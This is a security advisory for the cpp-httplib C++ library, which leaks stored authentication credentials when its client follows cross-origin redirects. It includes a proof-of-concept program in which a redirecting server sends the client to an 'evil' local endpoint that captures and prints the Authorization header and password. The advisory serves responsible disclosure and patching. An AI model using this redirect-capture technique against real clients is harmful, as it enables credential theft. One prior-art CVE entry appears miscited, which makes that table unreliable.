cpp-httplib Client Leaks Authentication Credentials to Untrusted Hosts on Cross-Origin HTTP Redirect

High **yhirose** published **GHSA-6hrp-7fq9-3qv2** last week

Package

cpp-httplib

Affected versions

<=0.38.0

Patched versions

0.39.0

Description

Summary

The cpp-httplib HTTP client forwards stored Basic Auth, Bearer Token, and Digest Auth credentials to arbitrary hosts when following cross-origin HTTP redirects (301/302/307/308). A malicious or compromised server can redirect the client to an attacker-controlled host, which then receives the plaintext credentials in the `Authorization` header.

Affected Version

- cpp-httplib **0.38.0** (latest as of report date)
- Likely affects all prior versions since redirect following was introduced

Severity

High -- CVSS 3.1: 7.4 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)

CWE

- CWE-522: Insufficiently Protected Credentials

- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Ecosystem

C++ (header-only library, distributed via GitHub, vcpkg, Conan, Homebrew, etc.)

Details

Root Cause

When `ClientImpl::redirect()` detects a cross-origin redirect (different host or port), it calls `create_redirect_client()` which:

1. **Correctly removes** the `Authorization` header from the `Request` object (httplib.h, lines 12932-12941)
2. **Then calls** `setup_redirect_client()` which **re-attaches all stored credentials** to the new client targeting the foreign host (httplib.h, lines 13006-13017)

When the new client sends the request, `prepare_default_headers()` (line 13109) sees that the `Authorization` header is absent on the request (it was stripped in step 1) and re-injects it from the client's stored credentials (set in step 2).

The net result: stripping the header was pointless because the credentials are re-applied through a different path.

Vulnerable Code Path

```
ClientImpl::redirect()                          [line 12874]
  └─> ClientImpl::create_redirect_client()      [line 12922]
        ├─> strips Authorization from req       [line 12932-12941]  ← looks safe
        ├─> setup_redirect_client(new_client)   [line 12950/12984]
        │     └─> new_client.set_basic_auth()   [line 13007-13008]  ← re-attaches
creds
        │     └─> new_client.set_bearer_token() [line 13010-13011]  ← re-attaches
creds
        │     └─> new_client.set_digest_auth()  [line 13014-13015]  ← re-attaches
creds
        └─> detail::redirect(new_client, req)   [line 12972/12987]
              └─> new_client.send(req)
                    └─> prepare_default_headers(req)  [line 13109]
                          └─> re-injects Authorization from stored creds  ← leaked
```

Additional Issue: No HTTPS-to-HTTP Downgrade Protection

The redirect handler creates an HTTP or HTTPS client based solely on the `Location` header's scheme (line 12928). There is no check preventing a downgrade from HTTPS to HTTP, meaning credentials originally transmitted over TLS can be silently sent in cleartext after a redirect.

Proof of Concept

Prerequisites

```
sudo apt install g++ zlib1g-dev   # Debian/Ubuntu
```

PoC Code

Save as `poc.cc` in the same directory as `httplib.h`:

```
#include "httplib.h"
#include <atomic>
#include <chrono>
#include <iostream>
#include <thread>

std::atomic<bool> captured{false};
std::string captured_headers;

int main() {
  // Attacker's server -- captures leaked credentials
  httplib::Server evil;
  evil.Get("/steal", [&](const httplib::Request &req, httplib::Response &res) {
    captured_headers.clear();
    for (auto &h : req.headers) {
      captured_headers += "  " + h.first + ": " + h.second + "\n";
    }
    captured.store(true);
    res.set_content("stolen", "text/plain");
  });

  // Legitimate-looking server that redirects to attacker
  httplib::Server legit;
  legit.Get("/api/data", [](const httplib::Request &, httplib::Response &res) {
    res.set_redirect("http://127.0.0.1:9002/steal", 302);
  });

  std::thread t1([&] { evil.listen("127.0.0.1", 9002); });
  std::thread t2([&] { legit.listen("127.0.0.1", 9001); });
  std::this_thread::sleep_for(std::chrono::seconds(1));

  // Victim client -- has credentials configured
  httplib::Client cli("127.0.0.1", 9001);
  cli.set_follow_location(true);
  cli.set_basic_auth("admin", "SuperSecretPassword123!");
```

```
  auto res = cli.Get("/api/data");
  std::this_thread::sleep_for(std::chrono::milliseconds(500));

  std::cout << "=== Attacker received the following headers ===" << std::endl;
  std::cout << captured_headers << std::endl;

  if (captured_headers.find("Authorization") != std::string::npos)
    std::cout << "[!] CREDENTIALS LEAKED TO FOREIGN HOST" << std::endl;

  evil.stop(); legit.stop();
  t1.join(); t2.join();
}
```

Build & Run

```
g++ -o poc -std=c++17 -pthread poc.cc -lz -DCPPHTTPLIB_ZLIB_SUPPORT
./poc
```

Output

```
=== Attacker received the following headers ===
  Accept: */*
  Accept-Encoding: gzip, deflate
  Authorization: Basic YWRtaW46U3VwZXJTZWNyZXRQYXNzd29yZDEyMyE=
  Connection: close
  Host: 127.0.0.1:9002
  User-Agent: cpp-httplib/0.38.0

[!] CREDENTIALS LEAKED TO FOREIGN HOST
```

The base64 value `YWRtaW46U3VwZXJTZWNyZXRQYXNzd29yZDEyMyE=` decodes to `admin:SuperSecretPassword123!`.

Impact

Any application using cpp-httplib's `Client` with both `set_follow_location(true)` and any authentication method (`set_basic_auth`, `set_bearer_token_auth`, `set_digest_auth`) is vulnerable. A server the client connects to can redirect to an arbitrary attacker-controlled host. The attacker receives the full `Authorization` header.

Affected authentication types:

- Basic Auth (username + password in base64)
- Bearer Token Auth (JWT tokens, API keys)
- Digest Auth (username + password, when compiled with SSL)

Attack scenarios:

- Open redirect on a trusted API endpoint chains into credential theft
- Compromised CDN / load balancer injects redirect headers
- MITM on non-TLS connection injects 302 response
- HTTPS-to-HTTP downgrade exposes credentials on the wire

Suggested Fix

In `setup_redirect_client()` (line 12994), do **not** copy authentication credentials to the redirect client. The header stripping at lines 12932-12941 already reflects the correct intent -- credentials should not cross origins. The stored credentials should only be re-applied for same-origin redirects.

```
template <typename ClientType>
inline void ClientImpl::setup_redirect_client(ClientType &client) {
  client.set_connection_timeout(connection_timeout_sec_);
  client.set_read_timeout(read_timeout_sec_, read_timeout_usec_);
  client.set_write_timeout(write_timeout_sec_, write_timeout_usec_);
  client.set_keep_alive(keep_alive_);
  client.set_follow_location(true);
  client.set_path_encode(path_encode_);
  client.set_compress(compress_);
  client.set_decompress(decompress_);

  // DO NOT copy authentication credentials -- this is a cross-origin redirect
  // Lines 13006-13017 should be removed entirely from this function

  // Proxy settings can still be copied (proxy is local infrastructure)
  // ...
}
```

Additionally, consider blocking or warning on HTTPS-to-HTTP downgrades.

Prior Art / Similar CVEs

CVE	Library	Description
CVE-2023-32681	Python `requests`	Leaked `Proxy-Authorization` header on redirects to different scheme/host
CVE-2018-1000007	curl/libcurl	Leaked `Authorization` header on HTTP redirects to different host
CVE-2022-27776	curl/libcurl	Leaked credentials on authentication-challenged redirect
CVE-2024-24786	Go protobuf	Credential leak on cross-origin redirect

References

- RFC 9110, Section 15.4 -- Security Considerations for Redirects
- RFC 9110, Section 17.16.3 -- Authorization header: "A user agent MUST NOT send credentials in a request that is redirected to a different origin"
- https://cwe.mitre.org/data/definitions/522.html

Severity

High 7.4 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-33745

Weaknesses

▶ CWE-200

Credits

thesanjok Reporter

SHOVAN-BLN Reporter